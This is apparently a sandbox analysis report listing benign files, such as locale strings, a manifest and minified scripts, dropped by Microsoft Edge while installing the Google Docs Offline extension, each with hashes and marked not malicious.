C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir6880_349042258\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
